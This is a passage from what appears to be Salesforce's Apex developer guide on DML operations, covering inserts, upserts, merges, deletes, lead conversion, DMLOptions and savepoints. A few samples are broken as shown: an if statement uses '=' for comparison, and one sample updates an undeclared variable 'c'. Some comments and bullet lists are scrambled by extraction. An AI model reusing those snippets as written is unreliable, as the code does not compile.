rollback, emptying the Recycle Bin, and methods related to SOQL queries. DML Operations As Atomic Transactions DML operations execute within a transaction. All DML operations in a transaction either complete successfully, or if an error occurs in one operation, the entire transaction is rolled back and no data is committed to the database. The boundary of a transaction can be a trigger, a class method, an anonymous block of code, an Apex page, or a custom Web service method. All operations that occur inside the transaction boundary represent a single unit of operations. This also applies to calls that are made from the transaction boundary to external code, such as classes or triggers that get fired as a result of the code running in the transaction boundary. For example, consider the following chain of operations: a custom Apex Web service method calls a method in a class that performs some DML operations. In this case, all changes are committed to the database only after all operations in the transaction finish executing and don’t cause any errors. If an error occurs in any of the intermediate steps, all database changes are rolled back and the transaction isn’t committed. How DML Works Single vs. Bulk DML Operations You can perform DML operations either on a single sObject, or in bulk on a list of sObjects. Performing bulk DML operations is the recommended way because it helps avoid hitting governor limits, such as the DML limit of 150 statements per Apex 103
  • 128. Working with Data in Apex DML Operations transaction. This limit is in place to ensure fair access to shared resources in the Force.com multitenant platform. Performing a DML operation on a list of sObjects counts as one DML statement for all sObjects in the list, as opposed to one statement for each sObject. This is an example of performing DML calls on single sObjects, which is not efficient. The for loop iterates over contacts, and for each contact, it sets a new value for the Description__c field if the department field matches a certain value. If the list contains more than 150 items, the 151st update call returns an exception that can’t be caught for exceeding the DML statement limit of 150. for(Contact badCon : conList) { if (badCon.Department = 'Finance') { badCon.Description__c = 'New description'; } // Not a good practice since governor limits might be hit. update badCon; } This is a modified version of the previous example that doesn’t hit the governor limit. It bulkifies DML operations by calling update on a list of contacts. This counts as one DML statement, which is far below the limit of 150. // List to hold the new contacts to update. List<Contact> updatedList = new List<Contact>(); for(Contact con : conList) { if (con.Department = 'Finance') { con.Description__c = 'New description'; // Add updated contact sObject to the list. updatedList.add(con); } } // Call update on the list of contacts. // This results in one DML call for the entire list. update updatedList; The other governor limit that affects DML operations is the total number of 10,000 rows that can be processed by DML operations in a single transaction. All rows processed by all DML calls in the same transaction count incrementally toward this limit. For example, if you insert 100 contacts and update 50 contacts in the same transaction, your total DML processed rows are 150 and you still have 9,850 rows left (10,000 - 150). System Context and Sharing Rules Most DML operations execute in system context, ignoring the current user's permissions, field-level security, organization-wide defaults, position in the role hierarchy, and sharing rules. The only exception is when a DML operation is called in a class defined with the with sharing keywords, the current user's sharing rules are taken into account. Note that if you execute DML operations within an anonymous block, they will execute using the current user’s object and field-level permissions. DML Operations Inserting and Updating Records Using DML, you can insert new records and commit them to the database. Similarly, you can update the field values of existing records. This example shows how to insert three account records and update an existing account record. First, it creates three Account sObjects and adds them to a list. It then performs a bulk insertion by inserting the list of accounts using one insert statement. 104
  • 129. Working with Data in Apex DML Operations Next, it queries the second account record, updates the billing city, and calls the update statement to persist the change in the database. Account[] accts = new List<Account>(); for(Integer i=0;i<3;i++) { Account a = new Account(Name='Acme' + i, BillingCity='San Francisco'); accts.add(a); } Account accountToUpdate; try { insert accts; // Update account Acme2. accountToUpdate = [SELECT BillingCity FROM Account WHERE Name='Acme2' AND BillingCity='San Francisco' LIMIT 1]; // Update the billing city. accountToUpdate.BillingCity = 'New York'; // Make the update call. update accountToUpdate; } catch(DmlException e) { System.debug('An unexpected error has occurred: ' + e.getMessage()); } // Verify that the billing city was updated to New York. Account afterUpdate = [SELECT BillingCity FROM Account WHERE Id=:accountToUpdate.Id]; System.assertEquals('New York', afterUpdate.BillingCity); Inserting Related Records You can insert records related to existing records if a relationship has already been defined between the two objects, such as a lookup or master-detail relationship. A record is associated with a related record through a foreign key ID. You can only set this foreign key ID on the master record. For example, if inserting a new contact, you can specify the contact's related account record by setting the value of the AccountId field. This example shows how to add a contact to an account (the related record) by setting the AccountId field on the contact. Contact and Account are linked through a lookup relationship. try { Account acct = new Account(Name='SFDC Account'); insert acct; // // // ID Once the account is inserted, the sObject will be populated with an ID. Get this ID. acctID = acct.ID; // Add a contact to this account. Contact con = new Contact( FirstName='Joe', LastName='Smith', Phone='415.555.1212', AccountId=acctID); insert con; } catch(DmlException e) { System.debug('An unexpected error has occurred: ' + e.getMessage()); } Updating Related Records Fields on related records can't be updated with the same call to the DML operation and require a separate DML call. For example, if inserting a new contact, you can specify the contact's related account record by setting the value of the AccountId 105
  • 130. Working with Data in Apex DML Operations field. However, you can't change the account's name without updating the account itself with a separate DML call. Similarly, when updating a contact, if you also want to update the contact’s related account, you must make two DML calls. The following example updates a contact and its related account using two update statements. try { // Query for the contact, which has been associated with an account. Contact queriedContact = [SELECT Account.Name FROM Contact WHERE FirstName = 'Joe' AND LastName='Smith' LIMIT 1]; // Update the contact's phone number queriedContact.Phone = '415.555.1213'; // Update the related account industry queriedContact.Account.Industry = 'Technology'; // Make two separate calls // 1. This call is to update the contact's phone. update c; // 2. This call is to update the related account's Industry field. update c.Account; } catch(Exception e) { System.debug('An unexpected error has occurred: ' + e.getMessage()); } Creating Parent and Child Records in a Single Statement Using Foreign Keys You can use external ID fields as foreign keys to create parent and child records of different sObject types in a single step instead of creating the parent record first, querying its ID, and then creating the child record. To do this: • • • • • Create the child sObject and populate its required fields, and optionally other fields. Create the parent reference sObject used only for setting the parent foreign key reference on the child sObject. This sObject has only the external ID field defined and no other fields set. Set the foreign key field of the child sObject to the parent reference sObject you just created. Create another parent sObject to be passed to the insert statement. This sObject must have the required fields (and optionally other fields) set in addition to the external ID field. Call insert by passing it an array of sObjects to create. The parent sObject must precede the child sObject in the array, that is, the array index of the parent must be lower than the child’s index. You can create related records that are up to 10 levels deep. Also, the related records created in a single call must have different sObject types. For more information, see Creating Records for Different Object Types in the SOAP API Developer's Guide. The following example shows how to create an opportunity with a parent account using the same insert statement. The example creates an Opportunity sObject and populates some of its fields, then creates two Account objects. The first account is only for the foreign key relationship, and the second is for the account creation and has the account fields set. Both accounts have the external ID field, MyExtID__c, set. Next, the sample calls Database.insert by passing it an array of sObjects. The first element in the array is the parent sObject and the second is the opportunity sObject. The Database.insert statement creates the opportunity with its parent account in a single step. Finally, the sample checks the results and writes the IDs of the created records to the debug log, or the first error if record creation fails. This sample requires an external ID text field on Account called MyExtID. public class ParentChildSample { public static void InsertParentChild() { Date dt = Date.today(); dt = dt.addDays(7); Opportunity newOpportunity = new Opportunity( Name='OpportunityWithAccountInsert', StageName='Prospecting', CloseDate=dt); // Create the parent reference. 106
  • 131. Working with Data in Apex DML Operations // Used only for foreign key reference // and doesn't contain any other fields. Account accountReference = new Account( MyExtID__c='SAP111111'); newOpportunity.Account = accountReference; // Create the Account object to insert. // Same as above but has Name field. // Used for the insert. Account parentAccount = new Account( Name='Hallie', MyExtID__c='SAP111111'); // Create the account and the opportunity. Database.SaveResult[] results = Database.insert(new SObject[] { parentAccount, newOpportunity }); // Check results. for (Integer i = 0; i < results.size(); i++) { if (results[i].isSuccess()) { System.debug('Successfully created ID: ' + results[i].getId()); } else { System.debug('Error: could not create sobject ' + 'for array element ' + i + '.'); System.debug(' The error reported was: ' + results[i].getErrors()[0].getMessage() + 'n'); } } } } Upserting Records Using the upsert operation, you can either insert or update an existing record in one call. To determine whether a record already exists, the upsert statement or Database method uses the record’s ID as the key to match records, or the custom external ID field value, if specified. • • • If the key is not matched, then a new object record is created. If the key is matched once, then the existing object record is updated. If the key is matched multiple times, then an error is generated and the object record is neither inserted or updated. Note: Custom field matching is case-insensitive only if the custom field has the Unique and Treat "ABC" and "abc" as duplicate values (case insensitive) attributes selected as part of the field definition. If this is the case, “ABC123” is matched with “abc123.” For more information, see “Creating Custom Fields” in the Salesforce Help. Examples The following example updates the city name for all existing accounts located in the city formerly known as Bombay, and also inserts a new account located in San Francisco: Account[] acctsList = [SELECT Id, Name, BillingCity FROM Account WHERE BillingCity = 'Bombay']; for (Account a : acctsList) { a.BillingCity = 'Mumbai'; } Account newAcct = new Account(Name = 'Acme', BillingCity = 'San Francisco'); acctsList.add(newAcct); try { upsert acctsList; } catch (DmlException e) { // Process exception here } 107
  • 132. Working with Data in Apex DML Operations Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 394. This next example uses the Database.upsert method to upsert a collection of leads that are passed in. This example allows for partial processing of records, that is, in case some records fail processing, the remaining records are still inserted or updated. It iterates through the results and adds a new task to each record that was processed successfully. The task sObjects are saved in a list, which is then bulk inserted. This example is followed by a test class that contains a test method for testing the example. /* This class demonstrates and tests the use of the * partial processing DML operations */ public class DmlSamples { /* This method accepts a collection of lead records and creates a task for the owner(s) of any leads that were created as new, that is, not updated as a result of the upsert operation */ public static List<Database.upsertResult> upsertLeads(List<Lead> leads) { /* Perform the upsert. In this case the unique identifier for the insert or update decision is the Salesforce record ID. If the record ID is null the row will be inserted, otherwise an update will be attempted. */ List<Database.upsertResult> uResults = Database.upsert(leads,false); /* This is the list for new tasks that will be inserted when new leads are created. */ List<Task> tasks = new List<Task>(); for(Database.upsertResult result:uResults) { if (result.isSuccess() && result.isCreated()) tasks.add(new Task(Subject = 'Follow-up', WhoId = result.getId())); } /* If there are tasks to be inserted, insert them */ Database.insert(tasks); return uResults; } } @isTest private class DmlSamplesTest { public static testMethod void testUpsertLeads() { /* We only need to test the insert side of upsert */ List<Lead> leads = new List<Lead>(); /* Create a set of leads for testing */ for(Integer i = 0;i < 100; i++) { leads.add(new Lead(LastName = 'testLead', Company = 'testCompany')); } /* Switch to the runtime limit context */ Test.startTest(); /* Exercise the method */ List<Database.upsertResult> results = DmlSamples.upsertLeads(leads); /* Switch back to the test context for limits */ Test.stopTest(); /* ID set for asserting the tasks were created as expected */ Set<Id> ids = new Set<Id>(); /* Iterate over the results, asserting success and adding the new ID to the set for use in the comprehensive assertion phase below. */ for(Database.upsertResult result:results) { 108
  • 133. Working with Data in Apex DML Operations System.assert(result.isSuccess()); ids.add(result.getId()); } /* Assert that exactly one task exists for each lead that was inserted. */ for(Lead l:[SELECT Id, (SELECT Subject FROM Tasks) FROM Lead WHERE Id IN :ids]) { System.assertEquals(1,l.tasks.size()); } } } Use of upsert with an external ID can reduce the number of DML statements in your code, and help you to avoid hitting governor limits (see Understanding Execution Governors and Limits). This next example uses upsert and an external ID field Line_Item_Id__c on the Asset object to maintain a one-to-one relationship between an asset and an opportunity line item. Note: Before running this sample, create a custom text field on the Asset object named Line_Item_Id__c and mark it as an external ID. For information on custom fields, see the Salesforce online help. public void upsertExample() { Opportunity opp = [SELECT Id, Name, AccountId, (SELECT Id, PricebookEntry.Product2Id, PricebookEntry.Name FROM OpportunityLineItems) FROM Opportunity WHERE HasOpportunityLineItem = true LIMIT 1]; Asset[] assets = new Asset[]{}; // Create an asset for each line item on the opportunity for (OpportunityLineItem lineItem:opp.OpportunityLineItems) { //This code populates the line item Id, AccountId, and Product2Id for each asset Asset asset = new Asset(Name = lineItem.PricebookEntry.Name, Line_Item_ID__c = lineItem.Id, AccountId = opp.AccountId, Product2Id = lineItem.PricebookEntry.Product2Id); assets.add(asset); } try { upsert assets Line_Item_ID__c; // // // // This line upserts the assets list with the Line_Item_Id__c field specified as the Asset field that should be used for matching the record that should be upserted. } catch (DmlException e) { System.debug(e.getMessage()); } } Merging Records When you have duplicate lead, contact, or account records in the database, cleaning up your data and consolidating the records might be a good idea. You can merge up to three records of the same sObject type. The merge operation merges up to three records into one of the records, deletes the others, and reparents any related records. Example The following shows how to merge an existing Account record into a master account. The account to merge has a related contact, which is moved to the master account record after the merge operation. Also, after merging, the merge record is deleted and only one record remains in the database. This examples starts by creating a list of two accounts and inserts the 109
  • 134. Working with Data in Apex DML Operations list. Then it executes queries to get the new account records from the database, and adds a contact to the account to be merged. Next, it merges the two accounts. Finally, it verifies that the contact has been moved to the master account and the second account has been deleted. // Insert new accounts List<Account> ls = new List<Account>{ new Account(name='Acme Inc.'), new Account(name='Acme') }; insert ls; // Queries to get the inserted accounts Account masterAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme Inc.' LIMIT 1]; Account mergeAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1]; // Add a contact to the account to be merged Contact c = new Contact(FirstName='Joe',LastName='Merged'); c.AccountId = mergeAcct.Id; insert c; try { merge masterAcct mergeAcct; } catch (DmlException e) { // Process exception System.debug('An unexpected error has occurred: ' + e.getMessage()); } // Once the account is merged with the master account, // the related contact should be moved to the master record. masterAcct = [SELECT Id, Name, (SELECT FirstName,LastName From Contacts) FROM Account WHERE Name = 'Acme Inc.' LIMIT 1]; System.assert(masterAcct.getSObjects('Contacts').size() > 0); System.assertEquals('Joe', masterAcct.getSObjects('Contacts')[0].get('FirstName')); System.assertEquals('Merged', masterAcct.getSObjects('Contacts')[0].get('LastName')); // Verify that the merge record got deleted Account[] result = [SELECT Id, Name FROM Account WHERE Id=:mergeAcct.Id]; System.assertEquals(0, result.size()); This second example is similar to the previous except that it uses the Database.merge method (instead of the merge statement). The last argument of Database.merge is set to false to have any errors encountered in this operation returned in the merge result instead of getting exceptions. The example merges two accounts into the master account and retrieves the returned results. The example creates a master account and two duplicates, one of which has a child contact. It verifies that after the merge the contact is moved to the master account. // Create master account Account master = new Account(Name='Account1'); insert master; // Create duplicate accounts Account[] duplicates = new Account[]{ // Duplicate account new Account(Name='Account1, Inc.'), // Second duplicate account new Account(Name='Account 1') }; insert duplicates; // Create child contact and associate it with first account Contact c = new Contact(firstname='Joe',lastname='Smith', accountId=duplicates[0].Id); insert c; // Merge accounts into master Database.MergeResult[] results = Database.merge(master, duplicates, false); for(Database.MergeResult res : results) { 110
  • 135. Working with Data in Apex DML Operations if (res.isSuccess()) { // Get the master ID from the result and validate it System.debug('Master record ID: ' + res.getId()); System.assertEquals(master.Id, res.getId()); // Get the IDs of the merged records and display them List<Id> mergedIds = res.getMergedRecordIds(); System.debug('IDs of merged records: ' + mergedIds); // Get the ID of the reparented record and // validate that this the contact ID. System.debug('Reparented record ID: ' + res.getUpdatedRelatedIds()); System.assertEquals(c.Id, res.getUpdatedRelatedIds()[0]); } else { for(Database.Error err : res.getErrors()) { // Write each error to the debug output System.debug(err.getMessage()); } } } Merge Considerations When merging sObject records, consider the following rules and guidelines: • • • • Only leads, contacts, and accounts can be merged. See sObjects That Don’t Support DML Operations on page 122. You can pass a master record and up to two additional sObject records to a single merge method. Using the Apex merge operation, field values on the master record always supersede the corresponding field values on the records to be merged. To preserve a merged record field value, simply set this field value on the master sObject before performing the merge. External ID fields can’t be used with merge. For more information on merging leads, contacts and accounts, see the Salesforce online help. Deleting Records After you persist records in the database, you can delete those records using the delete operation. Deleted records aren’t deleted permanently from Force.com, but they are placed in the Recycle Bin for 15 days from where they can be restored. Restoring deleted records is covered in a later section. Example The following example deletes all accounts that are named 'DotCom': Account[] doomedAccts = [SELECT Id, Name FROM Account WHERE Name = 'DotCom']; try { delete doomedAccts; } catch (DmlException e) { // Process exception here } Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 394. Referential Integrity When Deleting and Restoring Records The delete operation supports cascading deletions. If you delete a parent object, you delete its children automatically, as long as each child record can be deleted. 111
  • 136. Working with Data in Apex DML Operations For example, if you delete a case record, Apex automatically deletes any CaseComment, CaseHistory, and CaseSolution records associated with that case. However, if a particular child record is not deletable or is currently being used, then the delete operation on the parent case record fails. The undelete operation restores the record associations for the following types of relationships: • • • • • • • • • • Parent accounts (as specified in the Parent Account field on an account) Parent cases (as specified in the Parent Case field on a case) Master solutions for translated solutions (as specified in the Master Solution field on a solution) Managers of contacts (as specified in the Reports To field on a contact) Products related to assets (as specified in the Product field on an asset) Opportunities related to quotes (as specified in the Opportunity field on a quote) All custom lookup relationships Relationship group members on accounts and relationship groups, with some exceptions Tags An article's categories, publication state, and assignments Note: Salesforce only restores lookup relationships that have not been replaced. For example, if an asset is related to a different product prior to the original product record being undeleted, that asset-product relationship is not restored. Restoring Deleted Records After you have deleted records, the records are placed in the Recycle Bin for 15 days, after which they are permanently deleted. While the records are still in the Recycle Bin, you can restore them using the undelete operation. This is useful, for example, if you accidentally deleted some records that you want to keep. Example The following example undeletes an account named 'Trump'. The ALL ROWS keyword queries all rows for both top level and aggregate relationships, including deleted records and archived activities. Account a = new Account(Name='Trump'); insert(a); insert(new Contact(LastName='Carter',AccountId=a.Id)); delete a; Account[] savedAccts = [SELECT Id, Name FROM Account WHERE Name = 'Trump' ALL ROWS]; try { undelete savedAccts; } catch (DmlException e) { // Process exception here } Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 394. Undelete Considerations Note the following when using the undelete statement. • • You can undelete records that were deleted as the result of a merge, but the child objects will have been reparented, which cannot be undone. Use the ALL ROWS parameters with a SOQL query to identify deleted records, including records deleted as a result of a merge. 112
  • 137. Working with Data in Apex • DML Operations See Referential Integrity When Deleting and Restoring Records. See Also: Querying All Records with a SOQL Statement Converting Leads The convertLead DML operation converts a lead into an account and contact, as well as (optionally) an opportunity. convertLead is available only as a method on the Database class; it is not available as a DML statement. Converting leads involves the following basic steps: 1. Your application determines the IDs of any lead(s) to be converted. 2. Optionally, your application determines the IDs of any account(s) into which to merge the lead. Your application can use SOQL to search for accounts that match the lead name, as in the following example: SELECT Id, Name FROM Account WHERE Name='CompanyNameOfLeadBeingMerged' 3. Optionally, your application determines the IDs of the contact or contacts into which to merge the lead. The application can use SOQL to search for contacts that match the lead contact name, as in the following example: SELECT Id, Name FROM Contact WHERE FirstName='FirstName' AND LastName='LastName' AND AccountId = '001...' 4. Optionally, the application determines whether opportunities should be created from the leads. 5. The application queries the LeadSource table to obtain all of the possible converted status options (SELECT ... FROM LeadStatus WHERE IsConverted='1'), and then selects a value for the converted status. 6. The application calls convertLead. 7. The application iterates through the returned result or results and examines each LeadConvertResult object to determine whether conversion succeeded for each lead. 8. Optionally, when converting leads owned by a queue, the owner must be specified. This is because accounts and contacts cannot be owned by a queue. Even if you are specifying an existing account or contact, you must still specify an owner. Example This example shows how to use the Database.convertLead method to convert a lead. It inserts a new lead, creates a LeadConvert object and sets its status to converted, then passes it to the Database.convertLead method. Finally, it verifies that the conversion was successful. Lead myLead = new Lead(LastName = 'Fry', Company='Fry And Sons'); insert myLead; Database.LeadConvert lc = new database.LeadConvert(); lc.setLeadId(myLead.id); LeadStatus convertStatus = [SELECT Id, MasterLabel FROM LeadStatus WHERE IsConverted=true LIMIT 1]; lc.setConvertedStatus(convertStatus.MasterLabel); Database.LeadConvertResult lcr = Database.convertLead(lc); System.assert(lcr.isSuccess()); 113
  • 138. Working with Data in Apex DML Exceptions and Error Handling Convert Leads Considerations • • • • • Field mappings: The system automatically maps standard lead fields to standard account, contact, and opportunity fields. For custom lead fields, your Salesforce administrator can specify how they map to custom account, contact, and opportunity fields. For more information about field mappings, see the Salesforce online help. Merged fields: If data is merged into existing account and contact objects, only empty fields in the target object are overwritten—existing data (including IDs) are not overwritten. The only exception is if you specify setOverwriteLeadSource on the LeadConvert object to true, in which case the LeadSource field in the target contact object is overwritten with the contents of the LeadSource field in the source LeadConvert object. Record types: If the organization uses record types, the default record type of the new owner is assigned to records created during lead conversion. The default record type of the user converting the lead determines the lead source values available during conversion. If the desired lead source values are not available, add the values to the default record type of the user converting the lead. For more information about record types, see the Salesforce online help. Picklist values: The system assigns the default picklist values for the account, contact, and opportunity when mapping any standard lead picklist fields that are blank. If your organization uses record types, blank values are replaced with the default picklist values of the new record owner. Automatic feed subscriptions: When you convert a lead into a new account, contact, and opportunity, the lead owner is unsubscribed from the lead account. The lead owner, the owner of the generated records, and users that were subscribed to the lead aren’t automatically subscribed to the generated records, unless they have automatic subscriptions enabled in their Chatter feed settings. They must have automatic subscriptions enabled to see changes to the account, contact, and opportunity records in their news feed. To subscribe to records they create, users must enable the Automatically follow records that I create option in their personal settings. A user can subscribe to a record so that changes to the record display in the news feed on the user's home page. This is a useful way to stay up-to-date with changes to records in Salesforce. DML Exceptions and Error Handling Exception Handling DML statements return run-time exceptions if something went wrong in the database during the execution of the DML operations. You can handle the exceptions in your code by wrapping your DML statements within try-catch blocks. The following example includes the insert DML statement inside a try-catch block. Account a = new Account(Name='Acme'); try { insert a; } catch(DmlException e) { // Process exception here } Database Class Method Result Objects Database class methods return the results of the data operation. These result objects contain useful information about the data operation for each record, such as whether the operation was successful or not, and any error information. Each type of operation returns a specific result object type, as outlined below. Operation Result Class insert, update SaveResult Class upsert UpsertResult Class merge MergeResult Class delete DeleteResult Class 114
  • 139. Working with Data in Apex More About DML Operation Result Class undelete UndeleteResult Class convertLead LeadConvertResult Class emptyRecycleBin EmptyRecycleBinResult Class Returned Database Errors While DML statements always return exceptions when an operation fails for one of the records being processed and the operation is rolled back for all records, Database class methods can either do so or allow partial success for record processing. In the latter case of partial processing, Database class methods don’t throw exceptions. Instead, they return a list of errors for any errors that occurred on failed records. The errors provide details about the failures and are contained in the result of the Database class method. For example, a SaveResult object is returned for insert and update operations. Like all returned results, SaveResult contains a method called getErrors that returns a list of Database.Error objects, representing the errors encountered, if any. Example This example shows how to get the errors returned by a Database.insert operation. It inserts two accounts, one of which doesn’t have the required Name field, and sets the second parameter to false: Database.insert(accts, false);. This sets the partial processing option. Next, the example checks if the call had any failures through if (!sr.isSuccess()) and then iterates through the errors, writing error information to the debug log. // Create two accounts, one of which is missing a required field Account[] accts = new List<Account>{ new Account(Name='Account1'), new Account()}; Database.SaveResult[] srList = Database.insert(accts, false); // Iterate through each returned result for (Database.SaveResult sr : srList) { if (!sr.isSuccess()) { // Operation failed, so get all errors for(Database.Error err : sr.getErrors()) { System.debug('The following error has occurred.'); System.debug(err.getStatusCode() + ': ' + err.getMessage()); System.debug('Fields that affected this error: ' + err.getFields()); } } } More About DML Setting DML Options You can specify DML options for insert and update operations by setting the desired options in the Database.DMLOptions object. You can set Database.DMLOptions for the operation by calling the setOptions method on the sObject, or by passing it as a parameter to the Database.insert and Database.update methods. Using DML options, you can specify: • • • The truncation behavior of fields. Assignment rule information. Whether automatic emails are sent. 115
  • 140. Working with Data in Apex • • More About DML The user locale for labels. Whether the operation allows for partial success. The Database.DMLOptions class has the following properties: • • • • • allowFieldTruncation Property assignmentRuleHeader Property emailHeader Property localeOptions Property optAllOrNone Property DMLOptions is only available for Apex saved against API versions 15.0 and higher. DMLOptions settings take effect only for record operations performed using Apex DML and not through the Salesforce user interface. allowFieldTruncation Property The allowFieldTruncation property specifies the truncation behavior of strings. In Apex saved against API versions previous to 15.0, if you specify a value for a string and that value is too large, the value is truncated. For API version 15.0 and later, if a value is specified that is too large, the operation fails and an error message is returned. The allowFieldTruncation property allows you to specify that the previous behavior, truncation, be used instead of the new behavior in Apex saved against API versions 15.0 and later. The allowFieldTruncation property takes a Boolean value. If true, the property truncates String values that are too long, which is the behavior in API versions 14.0 and earlier. For example: Database.DMLOptions dml = new Database.DMLOptions(); dml.allowFieldTruncation = true; assignmentRuleHeader Property The assignmentRuleHeader property specifies the assignment rule to be used when creating a case or lead. Note: The Database.DMLOptions object supports assignment rules for cases and leads, but not for accounts or territory management. Using the assignmentRuleHeader property, you can set these options: • assignmentRuleID: The ID of an assignment rule for the case or lead. The assignment rule can be active or inactive. The ID can be retrieved by querying the AssignmentRule sObject. If specified, do not specify useDefaultRule. If the value is not in the correct ID format (15-character or 18-character Salesforce ID), the call fails and an exception is returned. Note: For the Case sObject, the assignmentRuleID DML option can be set only from the API and is ignored when set from Apex. For example, you can set the assignmentRuleID for an active or inactive rule from the executeanonymous() API call, but not from the Developer Console. This doesn’t apply to leads—the assignmentRuleID DML option can be set for leads from both Apex and the API. • useDefaultRule: Indicates whether the default (active) assignment rule will be used for a case or lead. If specified, do not specify an assignmentRuleId. The following example uses the useDefaultRule option: Database.DMLOptions dmo = new Database.DMLOptions(); dmo.assignmentRuleHeader.useDefaultRule= true; Lead l = new Lead(company='ABC', lastname='Smith'); l.setOptions(dmo); insert l; 116
  • 141. Working with Data in Apex More About DML The following example uses the assignmentRuleID option: Database.DMLOptions dmo = new Database.DMLOptions(); dmo.assignmentRuleHeader.assignmentRuleId= '01QD0000000EqAn'; Lead l = new Lead(company='ABC', lastname='Smith'); l.setOptions(dmo); insert l; emailHeader Property The Salesforce user interface allows you to specify whether or not to send an email when the following events occur: • • • • • • Creation of a new case or task Creation of a case comment Conversion of a case email to a contact New user email notification Lead queue email notification Password reset In Apex saved against API version 15.0 or later, the Database.DMLOptions emailHeader property enables you to specify additional information regarding the email that gets sent when one of the events occurs because of Apex DML code execution. Using the emailHeader property, you can set these options. • • • triggerAutoResponseEmail: Indicates whether to trigger auto-response rules (true) or not (false), for leads and cases. This email can be automatically triggered by a number of events, for example when creating a case or resetting a user password. If this value is set to true, when a case is created, if there is an email address for the contact specified in ContactID, the email is sent to that address. If not, the email is sent to the address specified in SuppliedEmail. triggerOtherEmail: Indicates whether to trigger email outside the organization (true) or not (false). This email can be automatically triggered by creating, editing, or deleting a contact for a case. triggerUserEmail: Indicates whether to trigger email that is sent to users in the organization (true) or not (false). This email can be automatically triggered by a number of events; resetting a password, creating a new user, adding comments to a case, or creating or modifying a task. Even though auto-sent emails can be triggered by actions in the Salesforce user interface, the DMLOptions settings for emailHeader take effect only for DML operations carried out in Apex code. In the following example, the triggerAutoResponseEmail option is specified: Account a = new Account(name='Acme Plumbing'); insert a; Contact c = new Contact(email='jplumber@salesforce.com', firstname='Joe',lastname='Plumber', accountid=a.id); insert c; Database.DMLOptions dlo = new Database.DMLOptions(); dlo.EmailHeader.triggerAutoResponseEmail = true; Case ca = new Case(subject='Plumbing Problems', contactid=c.id); database.insert(ca, dlo); Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which IsGroupEvent is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event. Note the following behaviors for group event email sent through Apex: • Sending a group event invitation to a user respects the triggerUserEmail option 117
  • 142. Working with Data in Apex • • More About DML Sending a group event invitation to a lead or contact respects the triggerOtherEmail option Email sent when updating or deleting a group event also respects the triggerUserEmail and triggerOtherEmail options, as appropriate localeOptions Property The localeOptions property specifies the language of any labels that are returned by Apex. The value must be a valid user locale (language and country), such as de_DE or en_GB. The value is a String, 2-5 characters long. The first two characters are always an ISO language code, for example 'fr' or 'en.' If the value is further qualified by a country, then the string also has an underscore (_) and another ISO country code, for example 'US' or 'UK.' For example, the string for the United States is 'en_US', and the string for French Canadian is 'fr_CA.' For a list of the languages that Salesforce supports, see What languages does Salesforce support? in the Salesforce online help. optAllOrNone Property The optAllOrNone property specifies whether the operation allows for partial success. If optAllOrNone is set to true, all changes are rolled back if any record causes errors. The default for this property is false and successfully processed records are committed while records with errors aren't. This property is available in Apex saved against Salesforce.com API version 20.0 and later. Transaction Control All requests are delimited by the trigger, class method, Web Service, Visualforce page or anonymous block that executes the Apex code. If the entire request completes successfully, all changes are committed to the database. For example, suppose a Visualforce page called an Apex controller, which in turn called an additional Apex class. Only when all the Apex code has finished running and the Visualforce page has finished running, are the changes committed to the database. If the request does not complete successfully, all database changes are rolled back. Sometimes during the processing of records, your business rules require that partial work (already executed DML statements) be “rolled back” so that the processing can continue in another direction. Apex gives you the ability to generate a savepoint, that is, a point in the request that specifies the state of the database at that time. Any DML statement that occurs after the savepoint can be discarded, and the database can be restored to the same condition it was in at the time you generated the savepoint. The following limitations apply to generating savepoint variables and rolling back the database: • • • • • • If you set more than one savepoint, then roll back to a savepoint that is not the last savepoint you generated, the later savepoint variables become invalid. For example, if you generated savepoint SP1 first, savepoint SP2 after that, and then you rolled back to SP1, the variable SP2 would no longer be valid. You will receive a runtime error if you try to use it. References to savepoints cannot cross trigger invocations, because each trigger invocation is a new execution context. If you declare a savepoint as a static variable then try to use it across trigger contexts you will receive a runtime error. Each savepoint you set counts against the governor limit for DML statements. Static variables are not reverted during a rollback. If you try to run the trigger again, the static variables retain the values from the first run. Each rollback counts against the governor limit for DML statements. You will receive a runtime error if you try to rollback the database additional times. The ID on an sObject inserted after setting a savepoint is not cleared after a rollback. Create new a sObject to insert after a rollback. Attempting to insert the sObject using the variable created before the rollback fails because the sObject variable has an ID. Updating or upserting the sObject using the same variable also fails because the sObject is not in the database and, thus, cannot be updated. 118
  • 143. Working with Data in Apex More About DML The following is an example using the setSavepoint and rollback Database methods. Account a = new Account(Name = 'xxx'); insert a; System.assertEquals(null, [SELECT AccountNumber FROM Account WHERE Id = :a.Id]. AccountNumber); // Create a savepoint while AccountNumber is null Savepoint sp = Database.setSavepoint(); // Change the account number a.AccountNumber = '123'; update a; System.assertEquals('123', [SELECT AccountNumber FROM Account WHERE Id = :a.Id]. AccountNumber); // Rollback to the previous null value Database.rollback(sp); System.assertEquals(null, [SELECT AccountNumber FROM Account WHERE Id = :a.Id]. AccountNumber); sObjects That Cannot Be Used Together in DML Operations DML operations on certain sObjects can’t be mixed with other sObjects in the same transaction. This is because some sObjects affect the user’s access to records in the organization. These types of sObjects must be inserted or updated in a different transaction to prevent operations from happening with incorrect access level permissions. For example, you can’t update an account and a user role in a single transaction. However, there are no restrictions on delete DML operations. The following sObjects can’t be used with other sObjects when performing DML operations in the same transaction: • • FieldPermissions Group You can only insert and update a group in a transaction with other sObjects. Other DML operations are not allowed. • GroupMember You can only insert and update a group member in a transaction with other sObjects in Apex code saved using Salesforce.com API version 14.0 and earlier. • • • • • • ObjectPermissions PermissionSet PermissionSetAssignment QueueSObject SetupEntityAccess User You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce.com API version 14.0 and earlier. You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce.com API version 15.0 and later if UserRoleId is specified as null. You can update a user in a transaction with other sObjects in Apex code saved using Salesforce.com API version 14.0 and earlier You can update a user in a transaction with other sObjects in Apex code saved using Salesforce.com API version 15.0 and later if the following fields are not also updated: ◊ UserRoleId ◊ IsActive 119
